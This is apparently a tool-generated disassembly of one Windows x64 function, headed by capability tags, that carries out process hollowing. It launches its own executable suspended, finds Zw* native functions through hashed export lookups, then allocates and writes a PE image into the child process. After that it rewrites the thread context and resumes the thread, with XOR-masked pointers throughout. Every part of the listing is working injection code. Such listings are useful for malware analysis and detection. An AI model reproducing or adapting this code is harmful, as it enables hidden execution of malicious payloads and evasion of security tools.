Function at 0x140001f00
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0x1e40]
mov eax, 0x1f40
call fcn.1400045e0
sub rsp, rax
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x1e20], rax
mov rbx, qword [rbp + 0x1e90]
mov rsi, r9
mov qword [rsp + 0x60], r9
mov rdi, r8
mov r15, rdx
mov qword [rbp + 0x450], rdx
call fcn.140001980
test al, al
jne 0x140001f7f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_initialize_Zw_functions
call fcn.140002ee0
lea rdx, [0x1400030c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0xffffffff
jmp 0x1400022fa
mov r8d, 0x208
lea rdx, [rbp + 0x1800]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140001fa2
mov eax, 0xfffffffe
jmp 0x1400022fa
mov r9, rbx
mov qword [rsp + 0x1f30], r14
lea r8, [rbp + 0x1800]
lea rdx, str.__s___s
lea rcx, [rbp + 0x1a10]
call qword [sym.imp.USER32.dll_wsprintfW]
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x140002839
movsxd r14, dword [rsi + 0x3c]
add r14, rsi
mov qword [rsp + 0x50], r14
cmp dword [r14], 0x4550
jne 0x140002839
mov qword [rsp + 0x48], r15
lea rdx, [rbp + 0x1a10]
mov qword [rsp + 0x40], rdi
xor ebx, ebx
mov qword [rsp + 0x38], rbx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov dword [rsp + 0x28], 4
xor ecx, ecx
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140002038
mov eax, 0xfffffffc
jmp 0x1400022f2
mov qword [rsp + 0x1f70], r12
mov qword [rsp + 0x1f38], r13
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x17f4], 0xffffffff
mov edx, 1
mov dword [rbp + 0x474], eax
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x474], eax
inc rdx
cmp rdx, 0x270
jb 0x140002070
lea rcx, [rbp + 0x470]
mov dword [rbp + 0x470], 0x270
call fcn.1400033d0
mov r12d, eax
lea rdx, str.ZwGetContextThread
mov cl, 0x5a
mov edi, ebx
nop word [rax + rax]
imul edi, edi, 0x21
lea rdx, [rdx + 1]
movsx ecx, cl
add edi, ecx
movzx ecx, byte [rdx]
test cl, cl
jne 0x1400020c0
lea rcx, str.ZwSetContextThread
mov edx, ebx
mov al, 0x5a
nop
imul edx, edx, 0x21
lea rcx, [rcx + 1]
movsx eax, al
add edx, eax
movzx eax, byte [rcx]
test al, al
jne 0x1400020e0
mov dword [rsp + 0x58], edx
lea rcx, str.ZwResumeThread
mov edx, ebx
mov al, 0x5a
nop dword [rax]
nop word [rax + rax]
imul edx, edx, 0x21
lea rcx, [rcx + 1]
movsx eax, al
add edx, eax
movzx eax, byte [rcx]
test al, al
jne 0x140002110
mov dword [rsp + 0x5c], edx
lea rcx, str.ZwTerminateProcess
mov r13d, ebx
mov al, 0x5a
nop dword [rax]
nop word [rax + rax]
imul r13d, r13d, 0x21
lea rcx, [rcx + 1]
movsx eax, al
add r13d, eax
movzx eax, byte [rcx]
test al, al
jne 0x140002140
lea rcx, str.ZwAllocateVirtualMemory
mov esi, ebx
mov al, 0x5a
imul esi, esi, 0x21
lea rcx, [rcx + 1]
movsx eax, al
add esi, eax
movzx eax, byte [rcx]
test al, al
jne 0x140002160
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x1400054d0]
mov dword [rbp - 0x50], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
test rax, rax
je 0x140002213
movsxd rax, dword [rax + 0x3c]
mov r9d, ebx
mov ecx, dword [rax + r10 + 0x88]
add rcx, r10
mov r8d, dword [rcx + 0x20]
mov r14d, dword [rcx + 0x24]
add r8, r10
mov r15d, dword [rcx + 0x1c]
add r14, r10
mov r11d, dword [rcx + 0x18]
add r15, r10
test r11d, r11d
je 0x140002207
mov edx, dword [r8]
mov ecx, ebx
add rdx, r10
movzx eax, byte [rdx]
test al, al
je 0x1400021f3
nop
imul ecx, ecx, 0x21
lea rdx, [rdx + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
test al, al
jne 0x1400021e0
cmp ecx, edi
je 0x1400022a6
inc r9d
add r8, 4
cmp r9d, r11d
jb 0x1400021d0
mov r14, qword [rsp + 0x50]
mov r15, qword [rbp + 0x450]
mov rax, rbx
mov rcx, qword [r15 + 8]
lea rdx, [rbp - 0x80]
call rax
lea rcx, [0x1400054d0]
test eax, eax
jns 0x140002317
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
test rax, rax
je 0x1400022d3
movsxd rax, dword [rax + 0x3c]
mov r9d, ebx
mov ecx, dword [rax + r10 + 0x88]
add rcx, r10
mov r8d, dword [rcx + 0x20]
mov edi, dword [rcx + 0x24]
add r8, r10
mov esi, dword [rcx + 0x1c]
add rdi, r10
mov r11d, dword [rcx + 0x18]
add rsi, r10
test r11d, r11d
je 0x1400022d3
nop
mov edx, dword [r8]
mov ecx, ebx
add rdx, r10
movzx eax, byte [rdx]
test al, al
je 0x140002293
nop
imul ecx, ecx, 0x21
lea rdx, [rdx + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
test al, al
jne 0x140002280
cmp ecx, r13d
je 0x1400022c6
inc r9d
add r8, 4
cmp r9d, r11d
jb 0x140002270
jmp 0x1400022d3
mov eax, r9d
movzx ecx, word [r14 + rax*2]
mov r14, qword [rsp + 0x50]
mov eax, dword [r15 + rcx*4]
mov r15, qword [rbp + 0x450]
add rax, r10
jmp 0x140002216
mov eax, r9d
movzx ecx, word [rdi + rax*2]
mov ebx, dword [rsi + rcx*4]
add rbx, r10
mov rcx, qword [r15]
mov edx, 0xfffffffb
call rbx
mov eax, 0xfffffffb
mov r13, qword [rsp + 0x1f38]
mov r12, qword [rsp + 0x1f70]
mov r14, qword [rsp + 0x1f30]
mov rcx, qword [rbp + 0x1e20]
xor rcx, rsp
call fcn.1400035a0
add rsp, 0x1f40
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x68], rax
mov eax, dword [r14 + 0x50]
mov qword [rbp + 0x458], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
test rax, rax
je 0x1400023a7
movsxd rax, dword [rax + 0x3c]
mov r9d, ebx
mov ecx, dword [rax + r10 + 0x88]
add rcx, r10
mov r8d, dword [rcx + 0x20]
mov edi, dword [rcx + 0x24]
add r8, r10
mov r14d, dword [rcx + 0x1c]
add rdi, r10
mov r11d, dword [rcx + 0x18]
add r14, r10
test r11d, r11d
je 0x1400023a7
nop dword [rax + rax]
mov edx, dword [r8]
mov ecx, ebx
add rdx, r10
movzx eax, byte [rdx]
test al, al
je 0x140002393
nop
imul ecx, ecx, 0x21
lea rdx, [rdx + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
test al, al
jne 0x140002380
cmp ecx, esi
je 0x1400024b0
inc r9d
add r8, 4
cmp r9d, r11d
jb 0x140002370
mov rax, rbx
mov rcx, qword [r15]
lea r9, [rbp + 0x458]
mov dword [rsp + 0x28], 0x40
lea rdx, [rsp + 0x68]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
call rax
test eax, eax
js 0x14000275e
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x14000275e
xor rax, r12
lea rcx, str.ZwWriteVirtualMemory
mov qword [rsp + 0x68], rax
mov edi, ebx
mov al, 0x5a
nop word [rax + rax]
imul edi, edi, 0x21
lea rcx, [rcx + 1]
movsx eax, al
add edi, eax
movzx eax, byte [rcx]
test al, al
jne 0x140002400
lea rcx, [0x1400054d0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
test rax, rax
je 0x140002493
movsxd rcx, dword [rax + 0x3c]
mov r9d, ebx
mov edx, dword [rcx + rax + 0x88]
add rdx, rax
mov r8d, dword [rdx + 0x20]
mov esi, dword [rdx + 0x24]
add r8, rax
mov r14d, dword [rdx + 0x1c]
add rsi, rax
mov r11d, dword [rdx + 0x18]
add r14, rax
test r11d, r11d
je 0x140002493
nop word [rax + rax]
mov edx, dword [r8]
mov ecx, ebx
add rdx, r10
movzx eax, byte [rdx]
test al, al
je 0x140002483
nop
imul ecx, ecx, 0x21
lea rdx, [rdx + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
test al, al
jne 0x140002470
cmp ecx, edi
je 0x1400024c3
inc r9d
add r8, 4
cmp r9d, r11d
jb 0x140002460
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_get_address_of_ZwWriteVirtualMemory_n
call fcn.140002ee0
mov eax, 0xffffffff
jmp 0x1400022e2
mov eax, r9d
movzx ecx, word [rdi + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r10
jmp 0x1400023aa
mov eax, r9d
movzx ecx, word [rsi + rax*2]
mov r15d, dword [r14 + rcx*4]
add r15, r10
je 0x140002493
mov rsi, qword [rsp + 0x50]
lea rax, [rbp + 0x460]
mov rdi, qword [rbp + 0x450]
mov rdx, r12
xor rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x60]
mov qword [rsp + 0x70], rdx
mov r9d, dword [rsi + 0x54]
mov rcx, qword [rdi]
mov qword [rsp + 0x20], rax
call r15
test eax, eax
jns 0x14000252e
mov r8d, r13d
lea rdx, [0x1400054d0]
call fcn.1400017b0
mov rcx, qword [rdi]
mov edx, 0xfffffff9
call rax
mov eax, 0xfffffff9
jmp 0x1400022e2
mov rcx, r12
mov rdi, rbx
xor rcx, qword [rsp + 0x70]
mov qword [rsp + 0x68], rcx
cmp bx, word [rsi + 6]
jae 0x1400026ab
mov r14, rbx
nop dword [rax + rax]
mov rax, qword [rsp + 0x60]
xor rcx, r12
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x20], rbx
movsxd rsi, dword [rax + 0x3c]
add rsi, r14
add rsi, rax
mov r8d, dword [rsi + 0x11c]
mov edx, dword [rsi + 0x114]
add r8, rax
mov rax, qword [rbp + 0x450]
add rdx, rcx
mov r9d, dword [rsi + 0x118]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400026b2
mov rax, qword [rsp + 0x50]
mov rcx, r12
xor rcx, qword [rsp + 0x70]
inc rdi
mov qword [rsp + 0x68], rcx
add r14, 0x28
movzx eax, word [rax + 6]
cmp rdi, rax
jb 0x140002550
mov rdx, qword [rbp + 8]
lea r8, [rsp + 0x70]
xor rcx, r12
mov qword [rsp + 0x20], rbx
mov rbx, qword [rbp + 0x450]
add rdx, 0x10
mov qword [rsp + 0x70], rcx
mov r9d, 8
mov rcx, qword [rbx]
call r15
lea rdx, [0x1400054d0]
test eax, eax
je 0x140002614
mov r8d, r13d
call fcn.1400017b0
mov rcx, qword [rbx]
mov edx, 0xfffffff7
call rax
mov eax, 0xfffffff7
jmp 0x1400022e2
mov rax, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
mov eax, dword [rax + 0x28]
add rax, qword [rsp + 0x70]
mov qword [rbp], rax
call fcn.1400017b0
mov rcx, qword [rbx + 8]
lea rdx, [rbp - 0x80]
call rax
mov r8d, dword [rsp + 0x5c]
lea rdx, [0x1400054d0]
call fcn.1400017b0
mov rcx, qword [rbx + 8]
xor edx, edx
call rax
test eax, eax
je 0x140002679
mov r8d, r13d
lea rdx, [0x1400054d0]
call fcn.1400017b0
mov rcx, qword [rbx]
mov edx, 0xfffffff5
call rax
mov eax, 0xfffffff5
jmp 0x1400022e2
xor qword [rsp + 0x68], r12
lea rax, [rbp + 0x450]
mov edx, dword [rsi + 0x114]
mov r9d, 1
add rdx, qword [rsp + 0x70]
mov r8d, dword [rsi + 0x118]
mov rcx, qword [rbx]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor eax, eax
jmp 0x1400022e2
lea rcx, [0x1400054d0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
test rax, rax
je 0x140002743
movsxd rax, dword [rax + 0x3c]
mov r9d, ebx
mov ecx, dword [rax + r10 + 0x88]
add rcx, r10
mov r8d, dword [rcx + 0x20]
mov edi, dword [rcx + 0x24]
add r8, r10
mov esi, dword [rcx + 0x1c]
add rdi, r10
mov r11d, dword [rcx + 0x18]
add rsi, r10
test r11d, r11d
je 0x140002743
nop word [rax + rax]
mov edx, dword [r8]
mov ecx, ebx
add rdx, r10
movzx eax, byte [rdx]
test al, al
je 0x140002723
nop
imul ecx, ecx, 0x21
lea rdx, [rdx + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
test al, al
jne 0x140002710
cmp ecx, r13d
je 0x140002736
inc r9d
add r8, 4
cmp r9d, r11d
jb 0x140002700
jmp 0x140002743
mov eax, r9d
movzx ecx, word [rdi + rax*2]
mov ebx, dword [rsi + rcx*4]
add rbx, r10
mov rax, qword [rbp + 0x450]
mov edx, 0xfffffff8
mov rcx, qword [rax]
call rbx
mov eax, 0xfffffff8
jmp 0x1400022e2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.ZwAllocateVirtualMemory_failed
call fcn.140002ee0
lea rdx, [0x1400030c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x1400054d0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
test rax, rax
je 0x140002825
movsxd rax, dword [rax + 0x3c]
mov r9d, ebx
mov ecx, dword [rax + r10 + 0x88]
add rcx, r10
mov r8d, dword [rcx + 0x20]
mov edi, dword [rcx + 0x24]
add r8, r10
mov esi, dword [rcx + 0x1c]
add rdi, r10
mov r11d, dword [rcx + 0x18]
add rsi, r10
test r11d, r11d
je 0x140002825
nop dword [rax + rax]
mov edx, dword [r8]
mov ecx, ebx
add rdx, r10
movzx eax, byte [rdx]
test al, al
je 0x1400027f3
nop
imul ecx, ecx, 0x21
lea rdx, [rdx + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [rdx]
test al, al
jne 0x1400027e0
cmp ecx, r13d
je 0x140002818
inc r9d
add r8, 4
cmp r9d, r11d
jb 0x1400027d0
mov rcx, qword [r15]
mov edx, 0xfffffffa
call rbx
mov eax, 0xfffffffa
jmp 0x1400022e2
mov eax, r9d
movzx ecx, word [rdi + rax*2]
mov ebx, dword [rsi + rcx*4]
add rbx, r10
mov rcx, qword [r15]
mov edx, 0xfffffffa
call rbx
mov eax, 0xfffffffa
jmp 0x1400022e2
mov eax, 0xfffffffd
jmp 0x1400022f2